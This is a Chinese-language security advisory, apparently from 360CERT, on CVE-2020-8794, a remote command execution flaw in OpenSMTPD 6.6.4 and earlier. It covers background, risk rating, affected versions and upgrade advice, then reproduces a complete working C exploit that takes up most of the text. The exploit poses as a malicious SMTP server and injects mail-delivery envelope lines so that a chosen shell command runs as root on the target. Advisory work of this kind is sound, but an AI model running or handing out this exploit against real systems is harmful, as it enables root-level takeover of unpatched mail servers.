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492 lines
13 KiB
Markdown
492 lines
13 KiB
Markdown
## CVE-2020-8794: OpenSMTPD 远程命令执行漏洞通告
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## 0x00 漏洞背景
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2020年03月02日， 360CERT监测发现国外 `qualys` 研究团队已经公布 `OpenSMTPD` 的一枚远程命令执行漏洞的漏洞细节，漏洞编号为 `CVE-2020-8794`，影响 `6.6.4` 及之前的版本。
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该漏洞是一个越界读漏洞，在 2015年12月被引入 (commit id `80c6a60c`)。
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与上一个漏洞 `CVE-2020-7247` 相比，`CVE-2020-8794`产生了更为广泛的影响版本，攻击方式更为复杂。
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该漏洞在默认安装 `OpenSMTPD` 情况下，即可攻击成功并执行任意命令。
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## 0x01 风险等级
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360CERT对该漏洞进行评定
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| 评定方式 | 等级 |
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| :------: | :--: |
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| 威胁等级 | 高危 |
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| 影响面 | 一般 |
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360CERT建议广大用户及时更新`OpenSMTPD`。做好资产 自查/自检/预防 工作，以免遭受攻击。
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## 0x02 影响版本
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OpenSMTPD <= 6.6.4
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## 0x03 修复建议
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最新版本为 `6.6.4p1`。
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Debain 用户可以通过 `apt` 包管理器升级 `OpenSMTPD`
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stretch 6.0.2p1-2+deb9u3
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buster 6.0.3p1-5+deb10u4
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## 0x4 漏洞利用EXP：
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```c
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/*
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* LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
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* Copyright (C) 2020 Qualys, Inc.
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*
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* This program is free software: you can redistribute it and/or modify
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* it under the terms of the GNU General Public License as published by
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* the Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* This program is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with this program. If not, see <https://www.gnu.org/licenses/>.
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*/
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <netinet/tcp.h>
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#include <netdb.h>
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#include <stdarg.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#include <unistd.h>
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static enum {
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CLIENT_SIDE_EXPLOIT,
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SERVER_SIDE_EXPLOIT,
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} exploit = CLIENT_SIDE_EXPLOIT;
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static enum {
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NEW_SMTPD_GRAMMAR,
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OLD_SMTPD_GRAMMAR,
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} grammar = NEW_SMTPD_GRAMMAR;
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static struct {
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const char * command;
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const char * user;
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const char * dispatcher;
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const char * maildir;
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char lines[512];
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} inject = {
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.command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
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.user = "root",
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.dispatcher = "local_mail",
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.maildir = NULL,
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};
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#define die() do { \
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printf("died in %s: %u\n", __func__, __LINE__); \
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exit(EXIT_FAILURE); \
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} while (0)
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static struct addrinfo *
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common_getaddrinfo(const char * const host, const char * const port)
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{
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const struct addrinfo hints = {
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.ai_family = AF_INET,
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.ai_socktype = SOCK_STREAM,
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.ai_protocol = IPPROTO_TCP,
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.ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
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};
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struct addrinfo * addr = NULL;
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if (getaddrinfo(host, port, &hints, &addr) != 0) die();
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if (addr == NULL || addr->ai_next != NULL) die();
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return addr;
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}
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static const char *
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common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
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{
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static char host[NI_MAXHOST];
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static char port[NI_MAXSERV];
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if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
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NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();
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static char host_port[NI_MAXHOST + NI_MAXSERV];
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if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
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return host_port;
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}
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static void
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common_send(const int fd, const char * const format, va_list ap)
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{
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if (fd <= -1) die();
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static char buf[1024];
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const int len = vsnprintf(buf, sizeof(buf), format, ap);
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if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
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printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");
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const char * data = buf;
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size_t size = len;
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for (;;) {
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const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
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if (sent <= 0) die();
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if ((size_t)sent > size) die();
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data += sent;
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size -= sent;
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if (size <= 0) return;
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}
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die();
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}
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static int listen_fd = -1;
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static void
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server_listen(void)
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{
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if (listen_fd != -1) die();
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const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
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listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
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if (listen_fd <= -1) die();
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const int on = 1;
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if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
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if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
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if (listen(listen_fd, 10) != 0) die();
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printf("\nListening on %s\n",
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common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
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}
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static int server_fd = -1;
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static void
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server_accept(void)
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{
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struct sockaddr addr;
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socklen_t addr_len = sizeof(addr);
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if (listen_fd <= -1) die();
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if (server_fd != -1) die();
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server_fd = accept(listen_fd, &addr, &addr_len);
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if (server_fd <= -1) die();
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if (addr_len > sizeof(addr)) die();
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const time_t now = time(NULL);
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printf("\nConnection from %s\n%s",
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common_getnameinfo(&addr, addr_len), ctime(&now));
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const int on = 1;
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if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
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}
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static void
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server_send(const char * const format, ...)
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{
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if (server_fd <= -1) die();
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va_list ap;
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va_start(ap, format);
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common_send(server_fd, format, ap);
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va_end(ap);
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}
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static char server_command[1024];
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static void
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server_recv(const char * const prefix)
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{
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if (server_fd <= -1) die();
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const size_t prefix_len = strlen(prefix);
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if (prefix_len < 4) die();
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char * data = server_command;
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size_t size = sizeof(server_command);
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for (;;) {
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const ssize_t rcvd = recv(server_fd, data, size, 0);
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if (rcvd <= 0) die();
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if ((size_t)rcvd >= size) die();
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data += rcvd;
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size -= rcvd;
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data[0] = '\0';
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if (data[-1] != '\n') continue;
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if (strchr(server_command, '\n') != data - 1) die();
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printf("<-- %s", server_command);
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if (strncmp(server_command, prefix, prefix_len) != 0) die();
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return;
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}
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die();
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}
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static void
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server_close(void)
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{
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if (server_fd <= -1) die();
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if (close(server_fd) != 0) die();
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server_fd = -1;
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}
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static void
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server_session(const char * const inject_lines)
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{
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const char * const error_code =
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(exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";
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server_accept();
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server_send("220 ent.of.line ESMTP\n");
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server_recv("EHLO ");
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server_send("250 ent.of.line Hello\n");
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server_recv("MAIL FROM:<");
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if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
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(exploit == SERVER_SIDE_EXPLOIT)) die();
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if (inject_lines != NULL) {
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if (inject_lines[0] == '\0') die();
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if (inject_lines[0] == '\n') die();
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if (inject_lines[strlen(inject_lines)-1] == '\n') die();
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server_send("%s-Error\n", error_code);
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server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');
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} else {
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server_send("%s Error\n", error_code);
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server_recv("RSET");
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server_send("250 Reset\n");
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server_recv("QUIT");
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server_send("221 Bye\n");
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}
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server_close();
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}
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static const struct addrinfo * client_target = NULL;
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static const char * client_mail = NULL;
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static const char * client_rcpt = NULL;
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static int client_fd = -1;
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static void
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client_connect(void)
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{
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if (client_fd != -1) die();
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client_fd = socket(client_target->ai_family, client_target->ai_socktype,
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client_target->ai_protocol);
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if (client_fd <= -1) die();
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if (connect(client_fd, client_target->ai_addr,
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client_target->ai_addrlen) != 0) die();
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printf("\nConnected to %s\n",
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common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
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}
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static void
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client_send(const char * const format, ...)
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{
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if (client_fd <= -1) die();
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va_list ap;
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va_start(ap, format);
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common_send(client_fd, format, ap);
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va_end(ap);
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}
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static char client_reply[1024];
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static void
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client_recv(const char * const prefix)
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{
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if (client_fd <= -1) die();
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const size_t prefix_len = strlen(prefix);
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if (prefix_len < 3) die();
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char * data = client_reply;
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size_t size = sizeof(client_reply);
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const char * line = data;
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for (;;) {
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const ssize_t rcvd = recv(client_fd, data, size, 0);
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if (rcvd <= 0) die();
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if ((size_t)rcvd >= size) die();
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data += rcvd;
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size -= rcvd;
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data[0] = '\0';
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if (data[-1] != '\n') continue;
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for (;;) {
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const char * const new_line = strchr(line, '\n');
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if (new_line == NULL) break;
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if (new_line - line < 4) die();
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printf("<-- %.*s", (int)(new_line - line + 1), line);
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if (strncmp(line, prefix, prefix_len) != 0) die();
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if (line[3] == ' ') {
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if (new_line + 1 != data) die();
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return;
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}
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if (line[3] != '-') die();
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line = new_line + 1;
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}
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if (line != data) die();
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}
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die();
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}
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static void
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client_close(void)
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{
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if (client_fd <= -1) die();
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if (close(client_fd) != 0) die();
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client_fd = -1;
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}
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static void
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client_session(void)
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{
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client_connect();
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client_recv("220 ");
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client_send("HELP\n");
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client_recv("214");
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if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die();
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client_send("EHLO ent.of.line\n");
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client_recv("250");
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const int dsn = (strstr(client_reply, "250-DSN") != NULL);
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client_send("MAIL FROM:<%s>\n", client_mail);
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client_recv("250 ");
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client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : "");
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client_recv("250 ");
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client_send("DATA\n");
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client_recv("354 Enter mail, end with ");
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if (!dsn) {
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client_send("Delivered-To: %s\n", client_rcpt);
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}
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client_send("\n");
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client_send(".\n");
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client_recv("250 ");
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client_send("QUIT\n");
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client_recv("221 ");
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client_close();
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}
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int
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main(int argc, char * const * argv)
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{
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setlinebuf(stdout);
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puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)");
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puts("Copyright (C) 2020 Qualys, Inc.");
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int opt;
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while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) {
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switch (opt) {
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case 'c':
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inject.command = optarg;
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break;
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case 'u':
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grammar = OLD_SMTPD_GRAMMAR;
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inject.user = optarg;
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break;
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case 'd':
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inject.dispatcher = optarg;
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break;
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case 'm':
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grammar = OLD_SMTPD_GRAMMAR;
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inject.maildir = optarg;
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break;
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case 'n':
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grammar = NEW_SMTPD_GRAMMAR;
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break;
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default:
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die();
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}
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}
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if (grammar == NEW_SMTPD_GRAMMAR) {
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const int len = snprintf(inject.lines, sizeof(inject.lines),
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"type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
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inject.command, inject.dispatcher, inject.user);
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if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
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} else if (grammar == OLD_SMTPD_GRAMMAR) {
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const int len = snprintf(inject.lines, sizeof(inject.lines),
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"type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>",
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inject.maildir ? inject.maildir : inject.command,
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inject.maildir ? "maildir" : "mda", inject.user);
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if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
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} else die();
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argc -= optind;
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argv += optind;
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if (argc == 3) {
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exploit = SERVER_SIDE_EXPLOIT;
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client_target = common_getaddrinfo(argv[0], "25");
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client_mail = argv[1];
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client_rcpt = argv[2];
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} else if (argc != 0) die();
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server_listen();
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if (exploit == CLIENT_SIDE_EXPLOIT) {
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server_session(inject.lines);
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} else if (exploit == SERVER_SIDE_EXPLOIT) {
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client_session();
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unsigned try;
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for (try = 0; try < 1; try++) {
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server_session(NULL);
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puts("\nPlease wait for OpenSMTPD to connect back...");
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}
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server_session(inject.lines);
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client_session();
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server_session("type:invalid");
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} else die();
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exit(EXIT_SUCCESS);
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}
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```
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> 注：EXP来源于：https://www.exploit-db.com/exploits/48140
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## 0x05 参考链接
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1、qualys 报告
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[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install.txt]
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2、qualys 报告细节
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[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install-exploit.c]
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3、CVE-2020-7247: OpenSMTPD 远程命令执行漏洞通告 - 360CERT
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[https://cert.360.cn/warning/detail?id=b03e92c903678dd6497d1be040f761d5]
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4、Releases · OpenSMTPD/OpenSMTPD
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[https://github.com/OpenSMTPD/OpenSMTPD/releases]
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5、Debian -- Security Information -- DSA-4634-1 opensmtpd
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[https://www.debian.org/security/2020/dsa-4634] |